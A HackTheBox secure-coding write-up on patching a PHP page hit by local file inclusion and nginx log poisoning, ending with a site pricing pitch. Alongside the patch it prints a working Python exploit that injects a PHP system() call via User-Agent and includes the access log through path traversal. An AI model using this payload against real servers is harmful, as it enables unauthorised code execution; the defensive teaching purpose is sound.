$ cat writeup.md…
$ cat writeup.md…
hackthebox
Task: Fix vulnerabilities in a PHP web application that was exploited via LFI + log poisoning. Solution: Replace include with readfile, add basename() and regex validation to prevent path traversal.
Bobby made a secure server, but someone got in! How did they get in? Can you stop it from happening again?
This is a "secure coding" challenge where you need to identify and fix vulnerabilities in a PHP web application. The challenge provides:
The vulnerable code in our-projects.php:
<?php $project = "orion"; if (isset($_GET["project"])) { $project = strtolower($_GET["project"]); } ?> ... <p><?php include "../projects/" . $project; ?></p>
Problems identified:
include executes PHP code from included filesproject parameter allows path traversal (../)No validation on the project parameter allowed ../ sequences to escape the intended directory and access arbitrary files like /var/log/nginx/access.log.
from requests import get IP = '127.0.0.1' payload = 'whoami' php_payload = f"<?php system('{payload}') ?>" headers = { 'User-Agent': php_payload } # Step 1: Poison the log with PHP code in User-Agent get(f'http://{IP}/', headers=headers) # Step 2: Include the poisoned log via LFI r = get(f'http://{IP}/our-projects.php?project=../../../../var/log/nginx/access.log') print(r.text)
Attack flow:
include with readfileChanged from include (which executes PHP code) to readfile (which only outputs file contents as text):
// Before (vulnerable): <p><?php include "../projects/" . $project; ?></p> // After (fixed): <p><?php readfile("../projects/" . $project); ?></p>
Why this works: readfile() outputs file contents as raw text without parsing PHP tags, preventing code execution even if malicious content is included.
Added strict validation to prevent path traversal:
<?php // default to Orion $project = "orion"; if (isset($_GET["project"])) { // Get basename first to strip any path components $requested = basename($_GET["project"]); // Convert to lowercase $requested = strtolower($requested); // Only allow alphanumeric characters, hyphens and underscores if (preg_match('/^[a-z0-9_-]+$/', $requested)) { $project = $requested; } } ?>
Defense layers:
basename() - strips directory components (../../../../etc/passwd → passwd)strtolower() - normalizes inputpreg_match('/^[a-z0-9_-]+$/') - whitelist only safe charactersAdded htmlspecialchars for output to prevent reflected XSS:
<h1><?php echo htmlspecialchars(ucfirst($project)); ?></h1>
<?php // default to Orion $project = "orion"; $allProjects = ["orion", "ares", "ceres"]; if (isset($_GET["project"])) { // Get basename first to strip any path components $requested = basename($_GET["project"]); // Convert to lowercase $requested = strtolower($requested); // Only allow alphanumeric characters, hyphens and underscores if (preg_match('/^[a-z0-9_-]+$/', $requested)) { $project = $requested; } } ?> <!-- ... HTML ... --> <h1><?php echo htmlspecialchars(ucfirst($project)); ?></h1> <p><?php readfile("../projects/" . $project); ?></p>
Use this technique (LFI + Log Poisoning) when:
include/require with user input../)include/require with user input - use readfile() or file_get_contents() insteadhtmlspecialchars() for all output to prevent XSSThe challenge required maintaining functionality (dynamic file reading) while removing the security vulnerabilities. Simply restricting to a whitelist of projects wasn't acceptable - the checker tested with random project names, so the fix needed to allow arbitrary (but safe) filenames.
$ cat /etc/motd
Liked this one?
Pro unlocks every writeup, every flag, and API access. $9/mo.
$ cat pricing.md$ grep --similar